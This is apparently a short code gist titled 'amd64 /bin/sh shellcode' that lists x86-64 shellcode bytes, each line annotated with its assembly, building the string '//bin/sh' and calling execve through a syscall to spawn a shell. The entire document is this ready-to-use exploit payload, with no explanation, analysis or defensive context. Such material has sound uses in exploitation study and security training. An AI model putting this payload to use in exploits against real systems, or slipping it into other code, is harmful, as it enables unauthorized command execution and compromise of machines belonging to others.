amd64 /bin/sh shellcode

gistfile1.txt

"\x48\x31\xc0"                      // xor    %rax,%rax
"\x50"                              // push   %rax
"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"  // mov $0x68732f6e69622f2f, %rbx
"\x53"                              // push   %rbx
"\x48\x89\xe7"                      // mov    %rsp,%rdi
"\x50"                              // push   %rax
"\x57"                              // push   %rdi
"\x48\x89\xe6"                      // mov    %rsp,%rsi
"\xb0\x3b"                          // mov    $0x3b,%al
"\x0f\x05"                          // syscall